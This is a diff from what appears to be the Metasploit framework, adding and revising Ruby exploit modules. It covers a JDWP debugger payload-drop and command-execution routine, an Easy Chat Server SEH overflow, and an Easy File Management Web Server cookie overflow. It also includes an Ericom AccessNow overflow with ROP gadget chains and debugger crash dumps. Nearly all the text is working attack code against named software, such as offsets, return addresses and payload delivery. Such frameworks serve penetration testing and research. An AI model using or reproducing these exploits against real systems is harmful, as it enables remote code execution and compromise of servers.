payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
if @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Linux target...")
end
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
unless @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Windows target...")
end
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
end
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
decoder = unformat(size, buf[1..1+size-1])
if decoder.nil? || decoder == 0
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
end
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
end
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_ARRAY].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
end
pl = unformat(size, buf[1..1+size-1])
pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while writing to file")
end
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while closing file")
end
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
rt = unformat(size, buf[1..1+size-1])
if rt.nil? || (rt == 0)
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
end
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
if exec_meth.nil?
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
end
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
end
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
# 2. Suspend the VM before setting the event
suspend_vm
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
r_id = send_event(EVENT_STEP, data)
unless r_id
fail_with(Failure::Unknown, "Could not set the event")
end
return r_id, t_id
end
# Disables security manager if it's set on target JVM
def disable_sec_manager
sys_class = get_class_by_name("Ljava/lang/System;")
fields = get_fields(sys_class["reftype_id"])
sec_field = nil
fields.each do |field|
sec_field = field["field_id"] if field["name"].downcase == "security"
end
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
value = get_value(sys_class["reftype_id"], sec_field)
if(value == 0)
print_good("#{peer} - Security manager was not set")
else
set_value(sys_class["reftype_id"], sec_field, 0)
if get_value(sys_class["reftype_id"], sec_field) == 0
print_good("#{peer} - Security manager has been disabled")
else
print_good("#{peer} - Security manager has not been disabled, trying anyway...")
end
end
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@methods = {}
@threads = {}
@os = nil
connect
unless handshake == HANDSHAKE
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
end
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
get_sizes
print_status("#{peer} - Getting the version of the target VM...")
get_version
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes
print_status("#{peer} - Getting all running threads in the target VM...")
get_all_threads
print_status("#{peer} - Setting 'step into' event...")
r_id, t_id = set_step_event
print_status("#{peer} - Resuming VM and waiting for an event...")
response = resume_vm
unless parse_event(response, r_id, t_id)
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
buf = read_reply
break if parse_event(buf, r_id, t_id)
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
end
vprint_status("#{peer} - Received matching event from thread #{t_id}")
print_status("#{peer} - Deleting step event...")
clear_event(EVENT_STEP, r_id)
print_status("#{peer} - Disabling security manager if set...")
disable_sec_manager
print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id)
disconnect
end
end

View File

@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
sending a overly long authentication request, an attacker may be able to execute
arbitrary code.
NOTE: The offset to SEH is influenced by the installation path of the program.
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
with "\users\" and the string passed as the username HTTP paramter.
This module exploits a stack buffer overflow in EFS Software Easy Chat
Server versions 2.0 to 3.1. By sending an overly long authentication
request, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
'Author' =>
[
'LSO <lso[at]hushmail.com>', # original metasploit
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2004-2466' ],
[ 'OSVDB', '7416' ],
[ 'BID', '25328' ],
[ 'OSVDB', '106841' ],
[ 'BID', '25328' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Privileged' => false,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
'Space' => 7000,
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
# -- Windows XP SP 3 (x86) (EN)
# -- Windows 7 SP 1 (x64) (EN)
# -- Windows 8 SP 0 (x64) (EN)
[ 'Automatic Targeting', { 'auto' => true } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
],
'DisclosureDate' => 'Aug 14 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
"C:\\Program Files\\Easy Chat Server" ])
], self.class )
end
def check
info = http_fingerprint # check method
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
if (info =~ /Easy Chat Server\/1\.0/)
version = get_version
if not version
return Exploit::CheckCode::Safe
end
vprint_status "#{peer} - Found version: #{version}"
if version !~ /^(2\.\d|3\.0|3\.1)$/
return Exploit::CheckCode::Safe
end
path = get_install_path
if not path
return Exploit::CheckCode::Detected
end
vprint_status "#{peer} - Found path: #{path}"
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
#
# Get software version from change log
#
def get_version
res = send_request_raw 'uri' => '/whatsnew.txt'
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
return "#{$1}"
end
end
#
# Get software installation path from uninstall file
#
def get_install_path
res = send_request_raw 'uri' => '/unins000.dat'
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
return "#{$1}"
end
end
def exploit
# randomize some values.
val = rand_text_alpha(rand(10) + 1)
num = rand_text_numeric(1)
path = datastore['PATH'] + "\\users\\"
print_status("path: " + path)
# get target
if target.name =~ /Automatic/
version = get_version
vprint_status "#{peer} - Found version: #{version}" if version
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
elsif version =~ /(2\.0)/
my_target = targets[1]
elsif version =~ /(2\.\d|3\.0|3\.1)/
my_target = targets[2]
end
else
my_target = target
end
# exploit buffer.
filler = rand_text_alpha(256 - path.length)
seh = generate_seh_payload(target.ret)
juju = filler + seh
# get install path
path = get_install_path
if not path
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
end
path << "\\users\\"
vprint_status "#{peer} - Using path: #{path}"
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
# send payload
sploit = rand_text_alpha(256 - path.length)
sploit << generate_seh_payload(my_target.ret)
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
send_request_cgi({
'uri' => '/chat.ghp',
'encode_params' => false,
'vars_get' => {
'username' => sploit,
'password' => rand_text_alphanumeric(rand(10) + 1),
'room' => 1,
'sex' => rand_text_numeric(1)
}
}, 5)
print_status("Trying target #{target.name}...")
send_request_raw({'uri' => uri}, 5)
handler
disconnect
end
end
=begin
0x004144C8 calls sprintf with the following arguments:
sprintf(&FileName, "%susers\\%s", path, username);
Since we can make the username larger than the allocated buffer size
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
a short jmp to the beginning of our shellcode.
(46c.144): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
EasyChat+0x45f34:
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
0:005> !exchain
01216dd8: 41414141
Invalid exception stack at 41414141
=end

View File

@ -0,0 +1,189 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking # Reliable memory corruption
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Management Web Server Stack Buffer Overflow',
'Description' => %q{
Easy File Management Web Server v4.0 and v5.3 contains a stack buffer
overflow condition that is triggered as user-supplied input is not
properly validated when handling the UserID cookie. This may allow a
remote attacker to execute arbitrary code.
},
'Author' =>
[
'superkojiman', # Vulnerability discovery
'Julien Ahrens', # Exploit
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '107241'],
['EDB', '33610'],
['BID', '67542'],
['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'],
['URL', 'http://www.web-file-management.com/']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d;",
'Space' => 3420 # Lets play it safe
},
'Targets' =>
[
# Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on:
# -- Microsoft Windows XP [Version 5.1.2600]
# -- Microsoft Windows [Version 6.1.7600]
# -- Microsoft Windows [Version 6.3.9600]
['Automatic Targeting', { 'auto' => true }],
['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }],
['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }],
# 0x10010101 = pop ebx > pop ecx > retn
# 0xA445ABCF = 0x514CF5 push esp > retn 0c
# 0xA4518472 = 0x457452 jmp esp
# From ImageLoad.dll
],
'DisclosureDate' => 'May 20 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp'])
], self.class)
end
def get_version
#
# NOTE: Version 5.3 still reports "4.0" in the "Server" header
#
version = nil
res = send_request_raw({'uri' => '/whatsnew.txt'})
if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/
version = $1
vprint_status "#{peer} - Found version: #{version}"
elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/
version = $1
vprint_status "#{peer} - Based on Server header: #{version}"
end
version
end
def check
code = Exploit::CheckCode::Safe
version = get_version
if version.nil?
code = Exploit::CheckCode::Unknown
elsif version == "5.3"
code = Exploit::CheckCode::Appears
elsif version == "4.0"
code = Exploit::CheckCode::Appears
end
code
end
def exploit
#
# Get target version to determine how to reach call/jmp esp
#
print_status("#{peer} - Fingerprinting version...")
version = get_version
if target.name =~ /Automatic/
if version.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
elsif version =~ /5\.3/
my_target = targets[1]
elsif version =~ /4\.0/
my_target = targets[2]
end
print_good("#{peer} - Version #{version} found")
else
my_target = target
unless version && my_target.name.include?(version)
print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...")
end
end
#
# Fu to reach where payload lives
#
sploit = rand_text(80) # Junk
sploit << [0x1001D8C8].pack("V") # Push edx
sploit << rand_text(280) # Junk
sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn
sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp
sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction
sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn
sploit << rand_text(8) # Filler
sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn
sploit << [0x1002466D].pack("V") # Push eax > retn
sploit << payload.encoded
print_status "#{peer} - Trying target #{my_target.name}..."
#
# NOTE: Successful HTTP request is required to trigger
#
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;",
}, 1)
end
end
=begin
#
# 0x44f57d This will write UserID up the stack. If the UserID is to large it
# will overwrite a pointer which is used later on at 0x468702
#
eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac
eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
fmws+0x4f57d:
0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:004> dd @esi
01668084 41414141 41414141 41414141 41414141
01668094 41414141 41414141 41414141 41414141
016680a4 41414141 41414141 41414141 41414141
016680b4 41414141 41414141 41414141 41414141
016680c4 41414141 41414141 41414141 41414141
016680d4 41414141 41414141 41414141 41414141
016680e4 41414141 41414141 41414141 41414141
016680f4 41414141 41414141 41414141 41414141
(c38.8cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc
eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
fmws+0x68702:
00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????
=end

View File

@ -0,0 +1,135 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ericom AccessNow Server Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
vulnerability is due to an insecure usage of vsprintf with user controlled data,
which can be triggered with a malformed HTTP request. This module has been tested
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
Server SP2.
},
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez', # Metasploit Module
],
'References' =>
[
['ZDI', '14-160'],
['CVE', '2014-3913'],
['BID', '67777'],
['URL','http://www.ericom.com/security-ERM-2014-610.asp']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 4096,
'BadChars' => "\x00\x0d\x0a",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
{
'RopOffset' => 62,
'Offset' => 30668,
'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll
}
]
],
'DisclosureDate' => 'Jun 2 2014',
'DefaultTarget' => 0))
register_options([Opt::RPORT(8080)], self.class)
end
def check
res = send_request_cgi({
'uri' => '/AccessNow/start.html'
})
unless res && res.code == 200 && res.headers['Server']
return Exploit::CheckCode::Safe
end
if res.headers['Server'] =~ /Ericom AccessNow Server/
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
return Exploit::CheckCode::Detected # Ericom AccessNow 3
end
Exploit::CheckCode::Unknown
end
def exploit_uri
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
uri << rand_text(target['RopOffset'])
uri << create_rop_chain
uri << payload.encoded
uri << rand_text(target['Offset'] - uri.length)
uri << rand_text(4) # nseh
uri << [target.ret].pack("V") # seh
uri
end
def exploit
print_status("#{peer} - Sending malformed request...")
send_request_raw({
'method' => 'GET',
'uri' => exploit_uri,
'encode' => false
}, 1)
end
def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]
0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]
0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]
0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xffffffff, # Value to negate, will become 0x00000001
0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]
0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]
0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)
0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]
0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]
0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]
0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]
0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]
0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]
0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]
0x90909090, # nop
0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]
].pack("V*")
rop_gadgets
end
end

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Local
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'Platform' => [ 'windows' ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post

Some files were not shown because too many files have changed in this diff Show More